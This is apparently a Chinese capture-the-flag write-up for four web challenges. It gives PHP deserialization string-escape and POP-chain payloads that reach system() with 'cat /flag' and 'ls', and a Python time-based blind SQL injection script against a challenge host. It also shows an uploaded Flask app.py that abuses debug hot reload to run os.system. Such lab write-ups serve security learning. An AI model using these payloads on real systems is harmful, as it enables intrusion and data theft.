解题 4/7
逃 打开容器,看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );function waf ($str ) { return str_replace ("bad" ,"good" ,$str ); }class GetFlag { public $key ; public $cmd = "whoami" ; public function __construct ($key ) { $this ->key = $key ; } public function __destruct ( ) { system ($this ->cmd); } }unserialize (waf (serialize (new GetFlag ($_GET ['key' ]))));
明显的php反序列化逃逸,利用原理即使用大量的bad替换为good来逃逸php反序列化的字符数量标记
给出payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );function waf ($str ) { return str_replace ("bad" , "good" , $str ); }class GetFlag { public $key ; public $cmd = "whoami" ; public function __construct ($key ) { $this ->key = $key ; } public function __destruct ( ) { system ($this ->cmd); } }$a = new GetFlag ("badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad\";s:3:\"cmd\";s:4:\"cat /flag\";}" );echo waf (serialize ($a ));
More Fast 开容器看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php highlight_file (__FILE__ );class Start { public $errMsg ; public function __destruct ( ) { die ($this ->errMsg); } }class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil (); } public function evil ( ) { phpinfo (); } }class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } }class Web { public $func ; public $var ; public function evil ( ) { if (!preg_match ("/flag/i" ,$this ->var )){ ($this ->func)($this ->var ); }else { echo "Not Flag" ; } } }class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } }class Misc { public function evil ( ) { echo "good job but nothing" ; } }$a = @unserialize ($_POST ['fast' ]);throw new Exception ("Nope" );
看起来像是一个php的__destruct
反序列化利用,但是注意到结尾处出现throw new Exception("Nope");
强制跑出异常进入到gc
垃圾回收模式。因此,我们需要在反序列化处触发异常提前进入垃圾回收模式,其中,触发异常的情况常见有几种:
对象被unset()
处理时,可以触发。
数组对象为NULL时,可以触发。
当输入的序列化对象格式不完整或不正确时,可以触发。
这里采用第三种方式绕过(当然,别的方式也可以正常绕过)
给出payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php highlight_file (__FILE__ );class Start { public $errMsg ; public function __destruct ( ) { die ($this ->errMsg); } }class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil (); } public function evil ( ) { phpinfo (); } }class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } }class Web { public $func = "system" ; public $var = "ls" ; public function evil ( ) { if (!preg_match ("/flag/i" , $this ->var )) { ($this ->func)($this ->var ); } else { echo "Not Flag" ; } } }class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } }$a = new Start ();$a ->errMsg = new Crypto ();$a ->errMsg->obj = new Reverse ();$a ->errMsg->obj->func = new Pwn ();$a ->errMsg->obj->func->obj = new Web ();echo serialize ($a );
得到的payload结尾删去一个反大括号即可。
midsql 打开容器看到sql源码
1 2 3 $cmd = "select name, price from items where id = " .$_REQUEST ["id" ];$result = mysqli_fetch_all ($result );$result = $result [0 ];
测试一下,发现是数字注入但是没有回显,还禁用了几个字符。
使用延时注入方法,写个python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requests url='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28database%28%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29' url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28table_schema%29%2F**%2Ffrom%2F**%2Finformation_schema.tables%2F**%2Fwhere%2F**%2Ftable_name%2F**%2Flike%2F**%2F%27items%27%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29' url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28schema_name%29%2F**%2Ffrom%2F**%2Finformation_schema.schemata%2F**%2F%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29' flag='' url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28name%29%2F**%2Ffrom%2F**%2Fctf.items%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29' temp_url=url1.format (1 ,0 ) re=requests.get(temp_url)print (re.text)for i in range (1 ,100 ): for j in range (32 ,126 ): temp_url=url1.format (i,j) try : re=requests.get(temp_url,timeout=3 ) except Exception: flag+=chr (j) print (chr (j),end='' ) break print ('\n' ,flag)
得到flag
flask disk 打开容器,看到上传界面,上传一个空内容,发现python flask框架的debug模式没关,想到debug模式的热加载特性,直接上传一个app.py,加一个读flag的路由即可。
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from crypt import methodsfrom flask import Flask,request,send_fileimport os,datetime app = Flask(__name__)@app.route('/' ,methods=['GET' ] ) def index (): return '<h1>Welcome to my flask disk</h1><a href="/list">list files</a><br><a href="/upload">upload files</a><br><a href="/console">admin manage</a>' @app.route('/list' ,methods=['GET' ] ) def list (): dirs = os.listdir('.' ) items = '' for dir in dirs: if os.path.isfile(dir ): create_time = int (os.path.getctime(dir )) create_time = datetime.datetime.fromtimestamp(create_time) item =f'</pre>{dir } {str (os.path.getsize(dir ))} b {create_time} </pre><br><br>' items += item items += '\n' return items@app.route('/aa' ,methods=['GET' ] ) def aa (): os.system('cat /flag > /app/1.txt' ) return 'os.system(a)' @app.route('/upload' ,methods=['GET' ,'POST' ] ) def upload (): if request.method == 'GET' : s='<form action="/upload" method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>' return s elif request.method == 'POST' : file = request.files['file' ] if '..' in file.filename or '/' in file.filename: return '.. and / are not allowed!' file.save(file.filename) return 'upload success. <a href="/list">check</a>' @app.route('/download' ,methods=['GET' ,'POST' ] ) def download (): filename = request.args.get('filename' ) if filename and os.path.exists(filename): if '..' in filename or '/' in filename: return '.. and / are not allowed!' return send_file(filename,as_attachment=True ) else : return 'no file to download or file not exist' if __name__=='__main__' : app.run(host='0.0.0.0' ,debug=True ,port=5000 )
总结 难起来了,开始坐牢了。。。
贴个wp:https://shimo.im/docs/gXqmdVvbOEsXpo3o/read
顺便把第五周的也贴上了:https://shimo.im/docs/R3sGgZdrlyE6nL8T/read